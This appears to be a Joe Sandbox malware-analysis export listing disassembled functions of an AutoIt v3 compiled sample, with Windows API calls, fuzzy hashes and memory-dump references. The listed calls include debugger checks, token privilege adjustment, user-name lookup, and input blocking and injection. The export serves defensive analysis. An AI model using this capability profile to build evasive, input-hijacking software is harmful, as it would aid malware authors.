Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 12e8249fbe1150c94acfc82c357e7078a8b078d54b64ca5820f9629bc3beb286
Instruction ID: f94dc1c304450d117426ba5466066467485be865f353ff7df4e93f3fd026dfd6
Opcode Fuzzy Hash: 12e8249fbe1150c94acfc82c357e7078a8b078d54b64ca5820f9629bc3beb286
Instruction Fuzzy Hash: FED062B1C0811CEACB90DA90DDCADB973FCAB19741F7444D7F916E1091EB24D9449B25

Function 00B12992 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0000000A), ref: 00B12A8A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0000000A), ref: 00B12A94
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,0000000A), ref: 00B12AA1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: a31252309bd357ed6f7945261c9f8adc14124432a67104e1d7e3853e64e9e715
Instruction ID: c3ab90cc04a6c305866f72b6fbf677aef7e10a27c58a035443b08a71777b28e7
Opcode Fuzzy Hash: a31252309bd357ed6f7945261c9f8adc14124432a67104e1d7e3853e64e9e715
Instruction Fuzzy Hash: B231B6759112189BCB21DF68D9897DDBBF4AF08310F5042EAE80CA7251EB309BC58F55

Function 00B42010 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00B0014B: __CxxThrowException@8.LIBVCRUNTIME ref: 00B009D8
Part of subcall function 00B0014B: __CxxThrowException@8.LIBVCRUNTIME ref: 00B009F5

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B4205A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B42087
GetLastError.KERNEL32 ref: 00B42097

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 8fe837bbe688020a990dfa4974379bdebf4062642fa4fcd5b39a104b0798745c
Instruction ID: 23d07b7eed740dc99b4b34cee0a591fd0eedbd3e27bf0e5caff8f9fd31190635
Opcode Fuzzy Hash: 8fe837bbe688020a990dfa4974379bdebf4062642fa4fcd5b39a104b0798745c
Instruction Fuzzy Hash: 05119DB1414205AFD718AF54EC86E6ABBF8EF44750B20855EF04667291DB70AC41DA24

Function 00B05058 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00B0502E,?,00BA98D8,0000000C,00B05185,?,00000002,00000000), ref: 00B05079
TerminateProcess.KERNEL32(00000000,?,00B0502E,?,00BA98D8,0000000C,00B05185,?,00000002,00000000), ref: 00B05080
ExitProcess.KERNEL32 ref: 00B05092

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: c87a44b8f87bf16526c336a3975651bb0224fef428a5f5c1cb0bd4bcf8767e73
Instruction ID: 4a43c6a45618f05ec1adc8947525b95cd2ee3d9a2a913051348f7d92c87f04af
Opcode Fuzzy Hash: c87a44b8f87bf16526c336a3975651bb0224fef428a5f5c1cb0bd4bcf8767e73
Instruction Fuzzy Hash: FBE0B631000548AFCF216F64DD09E993FB9EF50785F514054F84A9B961EB36DD82CED4

Function 00B3E652 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00B3E664

Strings

X64, xrefs: 00B3E680

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 64430f48358028b905527a9b4628f0814e316b3bd666f04f162d3dc7e944a292
Instruction ID: 686d77360d89bd328ef8a3d43b3aeb87fbea1fdf32a8186a10085e618c4a16bc
Opcode Fuzzy Hash: 64430f48358028b905527a9b4628f0814e316b3bd666f04f162d3dc7e944a292
Instruction Fuzzy Hash: DBD0C9B480111DEACF90CB90ECC8ED973BCBB04304F100696F106E2040DB30A5488B10

Function 00B541FA Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00B652EE,?,?,00000035,?), ref: 00B54229
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00B652EE,?,?,00000035,?), ref: 00B54239

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: ce218fec925037103e52a3f2a27e1ca199b9ae8cc8b42c30f492495495181b35
Instruction ID: e5b4822e88b8624134860d2af6eda0fda2b99d8868e658db9579b93de32d548d
Opcode Fuzzy Hash: ce218fec925037103e52a3f2a27e1ca199b9ae8cc8b42c30f492495495181b35
Instruction Fuzzy Hash: DEF0E5307102256AE720176AAC4DFEB76BEEFC5761F0001B5F909E3181DA709984C6B0

Function 00B4BBED Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00B4BC24
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00B4BC37

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: e2722272a02cd8950cf783274445c6b3402b1dabc8d04ee8ea120301b0d1c2f2
Instruction ID: 1b772c950f9c3db5457668620472d82cf7a6f322e8ef31f544afdad8be72bbbd
Opcode Fuzzy Hash: e2722272a02cd8950cf783274445c6b3402b1dabc8d04ee8ea120301b0d1c2f2
Instruction Fuzzy Hash: B5F06D7180424DABDB059FA4C845BBE7BB0FF04309F008049F955A6192D779C601DF94

Function 00B41A0B Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B41B48), ref: 00B41A20
CloseHandle.KERNEL32(?,?,00B41B48), ref: 00B41A35

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 7dfdfdf613628e83e71f481edfad05b1b9b4502011b2e36e03c524234071998f
Instruction ID: 1d9f959389baec5940199a7cd9227fa7adb758ff9cbad855f8174ce4cabf106b
Opcode Fuzzy Hash: 7dfdfdf613628e83e71f481edfad05b1b9b4502011b2e36e03c524234071998f
Instruction Fuzzy Hash: 11E01A72014611AEE7252B10FC05F727BE9FF04350F14885DF4A6914B0DA626C90DB14

Function 00B5F4FF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00B5F51A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: fbb073cad658efc220d4bdce629368f11a19975ace5d1e54d25d0fd62b3d05d1
Instruction ID: 833195e4b8b53f873f22cada04ff841d9028bf8efaab5d2028037dd48936ea00
Opcode Fuzzy Hash: fbb073cad658efc220d4bdce629368f11a19975ace5d1e54d25d0fd62b3d05d1
Instruction Fuzzy Hash: C3E048322002055FC710DF6AE444E96F7E8EFA4761F008465FC49C7351DA70F9458B90

Function 00B4EC9E Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00B4ECC7

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: ceb477b6eaec1dec4821e599ec251ea3b8448efc07b979b4c69b25c78dd06c44
Instruction ID: ce48ad6b772498343a90618780c26254f74fe1569b62bc4033bdf6ca892a11f6
Opcode Fuzzy Hash: ceb477b6eaec1dec4821e599ec251ea3b8448efc07b979b4c69b25c78dd06c44
Instruction Fuzzy Hash: FED05EB61942003DE91D0B38AEEFB762989F701741F8806C9F222D56DBE5D1DB80B021

Function 00B00D45 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020D51,00B0075E), ref: 00B00D4A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8a3805e625565050b5ea944bae71d1122e18a75fe3e1cab71929f5291d988a68
Instruction ID: 892e201131c97a2207e12697a548576ec6fc7c5d2979f502ae8e617a680c0c21
Opcode Fuzzy Hash: 8a3805e625565050b5ea944bae71d1122e18a75fe3e1cab71929f5291d988a68
Instruction Fuzzy Hash:

Function 00B6353B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00B6358D
DeleteObject.GDI32(00000000), ref: 00B635A0
DestroyWindow.USER32 ref: 00B635AF
GetDesktopWindow.USER32 ref: 00B635CA
GetWindowRect.USER32(00000000), ref: 00B635D1
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00B63700
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00B6370E
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B63755
GetClientRect.USER32(00000000,?), ref: 00B63761
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00B6379D
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B637BF
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B637D2
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B637DD
GlobalLock.KERNEL32(00000000), ref: 00B637E6
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B637F5
GlobalUnlock.KERNEL32(00000000), ref: 00B637FE
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B63805
GlobalFree.KERNEL32(00000000), ref: 00B63810
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B63822
OleLoadPicture.OLEAUT32(?,00000000,00000000,00B80C04,00000000), ref: 00B63838
GlobalFree.KERNEL32(00000000), ref: 00B63848
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00B6386E
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00B6388D
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B638AF
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B63A9C

Strings

, xrefs: 00B63A22
AutoIt v3, xrefs: 00B6374F
DISPLAY, xrefs: 00B638FF
static, xrefs: 00B63797, 00B638EE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: c602520cbae7b86a20008a52a6db4d4ded58d0cee2167bb4371f615ee95950a9
Instruction ID: a170baeb7a0cde0f1c03829ba718deed7c15ac267526e1a00cdca49e4c3d1b98
Opcode Fuzzy Hash: c602520cbae7b86a20008a52a6db4d4ded58d0cee2167bb4371f615ee95950a9
Instruction Fuzzy Hash: C9024972900205AFDB14DF65CD89EAE7BF9EF48750F048158F919AB2A1CB74EE41CB60

Function 00B77B0D Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00B77B67
GetSysColorBrush.USER32(0000000F), ref: 00B77B98
GetSysColor.USER32(0000000F), ref: 00B77BA4
SetBkColor.GDI32(?,000000FF), ref: 00B77BBE
SelectObject.GDI32(?,?), ref: 00B77BCD
InflateRect.USER32(?,000000FF,000000FF), ref: 00B77BF8
GetSysColor.USER32(00000010), ref: 00B77C00
CreateSolidBrush.GDI32(00000000), ref: 00B77C07
FrameRect.USER32(?,?,00000000), ref: 00B77C16
DeleteObject.GDI32(00000000), ref: 00B77C1D
InflateRect.USER32(?,000000FE,000000FE), ref: 00B77C68
FillRect.USER32(?,?,?), ref: 00B77C9A
GetWindowLongW.USER32(?,000000F0), ref: 00B77CBC

Part of subcall function 00B77E22: GetSysColor.USER32(00000012), ref: 00B77E5B
Part of subcall function 00B77E22: SetTextColor.GDI32(?,00B77B2D), ref: 00B77E5F
Part of subcall function 00B77E22: GetSysColorBrush.USER32(0000000F), ref: 00B77E75
Part of subcall function 00B77E22: GetSysColor.USER32(0000000F), ref: 00B77E80
Part of subcall function 00B77E22: GetSysColor.USER32(00000011), ref: 00B77E9D
Part of subcall function 00B77E22: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B77EAB
Part of subcall function 00B77E22: SelectObject.GDI32(?,00000000), ref: 00B77EBC
Part of subcall function 00B77E22: SetBkColor.GDI32(?,?), ref: 00B77EC5
Part of subcall function 00B77E22: SelectObject.GDI32(?,?), ref: 00B77ED2
Part of subcall function 00B77E22: InflateRect.USER32(?,000000FF,000000FF), ref: 00B77EF1
Part of subcall function 00B77E22: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B77F08
Part of subcall function 00B77E22: GetWindowLongW.USER32(?,000000F0), ref: 00B77F15

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 2f5ae56e71a1410b44ba93a8ef9829aafe01d12af90081d485a4e4b9e47b81de
Instruction ID: 013ca7b34afd91763716e66515016e33f36512a9c47f12f1d320f8473fd833f4
Opcode Fuzzy Hash: 2f5ae56e71a1410b44ba93a8ef9829aafe01d12af90081d485a4e4b9e47b81de
Instruction Fuzzy Hash: F7A17D72108301AFD7119F64DC48A6BBBF9FF48360F104A19F96AA71E0DB71E984CB91

Function 00AE1625 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00AE16B4
SendMessageW.USER32(?,00001308,?,00000000), ref: 00B22B07
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00B22B40
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00B22F85

Part of subcall function 00AE1802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00AE1488,?,00000000,?,?,?,?,00AE145A,00000000,?), ref: 00AE1865

SendMessageW.USER32(?,00001053), ref: 00B22FC1
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00B22FD8
ImageList_Destroy.COMCTL32(00000000,?), ref: 00B22FEE
ImageList_Destroy.COMCTL32(00000000,?), ref: 00B22FF9

Strings

0, xrefs: 00B22E11

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 77f851a822858f0a61eb088ff366c0d49de4e0673dc324d298ea03792e31f101
Instruction ID: bc7851090d8b42a5fb3269ea210701850c5e92afb67740d8b72d1f9a7a4f3b9f
Opcode Fuzzy Hash: 77f851a822858f0a61eb088ff366c0d49de4e0673dc324d298ea03792e31f101
Instruction Fuzzy Hash: 8512AB30200261AFD725DF14E999BAAB7F1FF44300F1846A9F49DDB661CB71E882DB91

Function 00B6316E Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00B6319B
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00B632C7
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00B63306
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00B63316
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00B6335D
GetClientRect.USER32(00000000,?), ref: 00B63369
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00B633B2
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00B633C1
GetStockObject.GDI32(00000011), ref: 00B633D1
SelectObject.GDI32(00000000,00000000), ref: 00B633D5
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00B633E5
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B633EE
DeleteDC.GDI32(00000000), ref: 00B633F7
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00B63423
SendMessageW.USER32(00000030,00000000,00000001), ref: 00B6343A
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00B6347A
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00B6348E
SendMessageW.USER32(00000404,00000001,00000000), ref: 00B6349F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00B634D4
GetStockObject.GDI32(00000011), ref: 00B634DF
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00B634EA
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00B634F4

Strings

msctls_progress32, xrefs: 00B63470
AutoIt v3, xrefs: 00B63355
DISPLAY, xrefs: 00B633B7
static, xrefs: 00B633AC, 00B634CE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 90ca39ed83326c4e09aab33e478d29ef3b6e031b561d5ebc9383a8c082a3496c
Instruction ID: 3ce50040127b6b70dbc6dd33f3263a65e78a5949e429389357be62fefc4df05b
Opcode Fuzzy Hash: 90ca39ed83326c4e09aab33e478d29ef3b6e031b561d5ebc9383a8c082a3496c
Instruction Fuzzy Hash: 44B13C71A00215AFEB14DFA9CD49FAEBBF9EF08750F004654F915A72A0DBB4AD40CB94

Function 00B55524 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B55532
GetDriveTypeW.KERNEL32(?,00B7DC30,?,\\.\,00B7DCD0), ref: 00B5560F
SetErrorMode.KERNEL32(00000000,00B7DC30,?,\\.\,00B7DCD0), ref: 00B5577B

Strings

